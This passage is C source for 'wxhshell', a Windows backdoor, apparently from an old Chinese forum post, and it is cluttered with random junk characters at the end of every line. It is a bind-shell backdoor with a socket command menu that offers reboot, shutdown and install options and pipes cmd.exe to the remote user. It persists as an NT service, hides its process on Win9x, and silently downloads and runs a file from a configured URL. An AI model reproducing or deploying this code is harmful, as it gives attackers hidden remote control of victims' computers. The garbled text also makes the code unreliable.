    switch(cmd[0]) { Noj*K6  
  nmpc<&<<  
  // 帮助 7rD 8  
  case '?': { #M!u';bZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z}-CU GS  
    break; gdIk%m4  
  } /Xi21W/  
  // 安装 3P!OP{`  
  case 'i': { Bw;isMx7  
    if(Install()) `,4yGgD!4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q{h,}[U=  
    else !SuflGx,q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h; q&B9  
    break; +pYgh8w@  
    } w10~IP  
  // 卸载 |47t+[b   
  case 'r': { ^p(aZj3k  
    if(Uninstall()) A.*e8a/6X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rxdj}xy  
    else ;?u cC@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lL zR5445)  
    break; < }K9 50  
    } ]s Euh~F  
  // 显示 wxhshell 所在路径 ;BuMzG:tmZ  
  case 'p': { &en2t=a  
    char svExeFile[MAX_PATH]; |kZ!-?9Z  
    strcpy(svExeFile,"\n\r");  8s22VL  
      strcat(svExeFile,ExeFile); '=nmdqP  
        send(wsh,svExeFile,strlen(svExeFile),0); zWo  
    break; @7}XBg[pI  
    } 0d2RB^"i  
  // 重启 Rir0^XqG  
  case 'b': { l^I? @{W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~Bl,_?CBr  
    if(Boot(REBOOT)) d>u^ 7:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a=$ZM4Bn  
    else { xDeM7L'  
    closesocket(wsh); aNry> 2:  
    ExitThread(0); -`8@  
    } }Rz,}^B  
    break; G9Xkim Q'  
    } m?wQk:Y1  
  // 关机 Q>Ct]JW&  
  case 'd': { 9]N{8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  0Y!"3bw|  
    if(Boot(SHUTDOWN)) (}wPu&Is,C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t{UVX%b  
    else { uKzx >\}?1  
    closesocket(wsh); e!0xh  
    ExitThread(0); 2MB>NM<xO  
    } ajkV"~w',|  
    break; 'T^MaLK  
    } {;Hg1=cm  
  // 获取shell y# \"yykB  
  case 's': { Lea4-Gc  
    CmdShell(wsh); UG44 oKB  
    closesocket(wsh); .WSn Y71  
    ExitThread(0); 41/civX>V  
    break; @F8NN\  
  } Pg.JI:>2Ku  
  // 退出 lZ5-lf4  
  case 'x': { ^XeJZkLEB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^5MM<73  
    CloseIt(wsh); Z:^<NdKe  
    break; _3W .:  
    } EwcFxLa!F  
  // 离开 _S[@?]=`b  
  case 'q': { 7kD?xHpe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >/Z*\6|Zx#  
    closesocket(wsh); I!Dx)>E&  
    WSACleanup(); 8\E=p+C  
    exit(1); R6X2d\l#  
    break; 8m H6?,@6  
        } +Y*4/w[   
  } = mQY%l  
  } b&A/S$*  
wx-&(f   
  // 提示信息 +)h# !/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zEQQ4)mA  
} xBc$qjV  
  } 2.JrLBhN  
 %o/@0.w  
  return; O.#R r/+)  
} KUPQ6v }  
|H=5Am  
// shell模块句柄 n[y=DdiKGS  
int CmdShell(SOCKET sock) ?lqqu#;8  
{ uFmpc7  
STARTUPINFO si; b i-Am/9  
ZeroMemory(&si,sizeof(si)); k~;~i)Eg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1xtS$^APcd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^x*J4jl  
PROCESS_INFORMATION ProcessInfo; :9 &@/{W  
char cmdline[]="cmd"; pHk$_t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wqm{f~nj=  
  return 0; vR#MUKfh  
} CBdr 1  
K~]Xx~F  
// 自身启动模式 9*JxP%8T~X  
int StartFromService(void) fFC9:9<  
{ aiX4;'$x!  
typedef struct f dJg7r*  
{ LDw.2E  
  DWORD ExitStatus; zZ9Ei-Q  
  DWORD PebBaseAddress; 2N-p97"g  
  DWORD AffinityMask; k^JgCC+  
  DWORD BasePriority; G@e;ms1  
  ULONG UniqueProcessId; r.@UH-2c  
  ULONG InheritedFromUniqueProcessId; q~18JB4WPJ  
}   PROCESS_BASIC_INFORMATION; ?l[#d7IB  
rY &lx}  
PROCNTQSIP NtQueryInformationProcess; 6_8yQ  
N1E9w:T`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i< imE#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /QlzWson  
_Q\rZ l  
  HANDLE             hProcess; Ac*)z#H  
  PROCESS_BASIC_INFORMATION pbi; Grw[h  
2fayQY xD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %26HB w=JF  
  if(NULL == hInst ) return 0; / E!6]b/  
Z @m5hx&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V/\`:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l YdATM(h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8% ; .H-  
(.z0.0W  
  if (!NtQueryInformationProcess) return 0; ]LCL?zAzH!  
$D^27q:H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4 y.' O  
  if(!hProcess) return 0; Z5wDf+  
@d5t%V\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BVv-1$ U^  
b!QRD'31'j  
  CloseHandle(hProcess); 7 mA3&<&q  
~s?y[yy6i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DjZTr}%q  
if(hProcess==NULL) return 0; %"E!E1_Sv  
KKg\n^  
HMODULE hMod; :[PA.Upi  
char procName[255]; b V_<5PHP  
unsigned long cbNeeded; rCGKE`H  
Q[!?SSX%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v!S(T];)  
ykx13|iR  
  CloseHandle(hProcess); KLj/,ehD !  
I_Gm2 Dd  
if(strstr(procName,"services")) return 1; // 以服务启动 INCanE`+  
!t)uRJ   
  return 0; // 注册表启动 {)Zz4  
} g p9;I*!  
+5GC?cW  
// 主模块 +Z9ua%,3%  
int StartWxhshell(LPSTR lpCmdLine) ncsk(`lo  
{ (:+Wc^0  
  SOCKET wsl; m*e8j[w#  
BOOL val=TRUE; qIy9{LF  
  int port=0; Vn^8nS  
  struct sockaddr_in door; 5}]gL  
`]&'yt  
  if(wscfg.ws_autoins) Install(); "|WKK}  
~2NT Xp  
port=atoi(lpCmdLine); 8M['-  
!*wd d8   
if(port<=0) port=wscfg.ws_port; m KKa0"  
\u/=?b  
  WSADATA data; N>j*{]OY+{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <qoPBm])  
c!$~_?]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1JGww]JZo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FGo)] U  
  door.sin_family = AF_INET; $reQdN=~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a5]]AkvA  
  door.sin_port = htons(port); {!4ZRNy(k  
t/]za4w/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z 2uU'T  
closesocket(wsl); Hw#yw g  
return 1; Yk7^?W  
} ~4S6c=:  
} f!wQx b  
  if(listen(wsl,2) == INVALID_SOCKET) { 7,{!a56zX  
closesocket(wsl); \3t)7.:4  
return 1; AUU(fy#<  
} b Sg]FBaW  
  Wxhshell(wsl); &3~R-$P  
  WSACleanup(); (WGEX(|  
n>lQ:l~  
return 0; eYg0 NEq{  
DY87NS*HF  
} B an" H~  
NA$ODK -  
// 以NT服务方式启动 \7(OFT\u:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tgrZs8?  
{ JkNRXC:  
DWORD   status = 0; OH5#.${O  
  DWORD   specificError = 0xfffffff; u])MI6LF  
I\82_t8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;4vx+>-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ZN;fDv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cn ;2&  
  serviceStatus.dwWin32ExitCode     = 0; *^%ohCU i  
  serviceStatus.dwServiceSpecificExitCode = 0; %G]WOq=q  
  serviceStatus.dwCheckPoint       = 0; `]2y=f<{X  
  serviceStatus.dwWaitHint       = 0; < $rXQ  
J\ ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LC/%AbM  
  if (hServiceStatusHandle==0) return; C:}"?tri  
.18MMzdN  
status = GetLastError(); 38RyUHL=  
  if (status!=NO_ERROR) Or()AzwE@  
{ kPp7;U2A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6)3pnhG9  
    serviceStatus.dwCheckPoint       = 0; 74~ %4  
    serviceStatus.dwWaitHint       = 0; Xu[A,6  
    serviceStatus.dwWin32ExitCode     = status; o l+*Oe  
    serviceStatus.dwServiceSpecificExitCode = specificError; Oyjhc<6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eKqo6P:#f  
    return; f:A1j\A?  
  } 5bprhq-7  
_ Av_jw`m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4p(\2?B%f  
  serviceStatus.dwCheckPoint       = 0; u,Cf4H*xS  
  serviceStatus.dwWaitHint       = 0; *2I@_b6&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z1+1>|-iW  
} S? (/~Vb%  
vQ DlS1L  
// 处理NT服务事件,比如:启动、停止 kAk+ Sq^n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cfW;gFf  
{ k`,>52  
switch(fdwControl) flU?6\_UC  
{ wb-_CQ  
case SERVICE_CONTROL_STOP: Mg {=(No  
  serviceStatus.dwWin32ExitCode = 0; 1&YkRCn0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pU@ &-  
  serviceStatus.dwCheckPoint   = 0; $C&E3 'O  
  serviceStatus.dwWaitHint     = 0; bjs{_?  
  { V)Y#m/$`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +C[%^G-:  
  } O>2i)M-h9x  
  return; <SNu`,/I  
case SERVICE_CONTROL_PAUSE: ,S=ur%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Md1ePp]  
  break; a"X9cU[  
case SERVICE_CONTROL_CONTINUE: B P0*`TY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s\ YHT.O?  
  break; hdH}4W  
case SERVICE_CONTROL_INTERROGATE: /.[78:G\,  
  break; hW-?j&yJ?  
}; e:RgCDWL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XRWy#Pj  
} agPTY{;  
`9p;LZC1K  
// 标准应用程序主函数 a.s5>:Ct  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g,5Tr_  
{ ; Z{jol  
QetyuhS~  
// 获取操作系统版本 _{YUWV50}  
OsIsNt=GetOsVer(); Vqxxm&^P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GUqBnRA8j  
:^992]EBEj  
  // 从命令行安装 GA"zO,  
  if(strpbrk(lpCmdLine,"iI")) Install();  F]KAnEf  
xU;;@9X  
  // 下载执行文件 _air'XQ&!  
if(wscfg.ws_downexe) { 7,EdJ[CR$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ya-kM UW  
  WinExec(wscfg.ws_filenam,SW_HIDE); I=9sTR)  
} 9g`o+U{  
jB%aHUF;  
if(!OsIsNt) { - 1tiy.^$F  
// 如果时win9x,隐藏进程并且设置为注册表启动 L+2<J,   
HideProc(); Ex$i8fO(  
StartWxhshell(lpCmdLine); W(,3j{d2i  
} $~<]G)*Z  
else '/QS sZR  
  if(StartFromService()) NuC+iC$_/  
  // 以服务方式启动 {:c5/ ,7c;  
  StartServiceCtrlDispatcher(DispatchTable); BBlYy5x  
else m e&'BQ  
  // 普通方式启动 {Z(kzJwN  
  StartWxhshell(lpCmdLine); :c`Gh< u  
vAjvW&'g  
return 0; (E]q>'X  
}
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只看该作者 1 发表于: 2006-10-10
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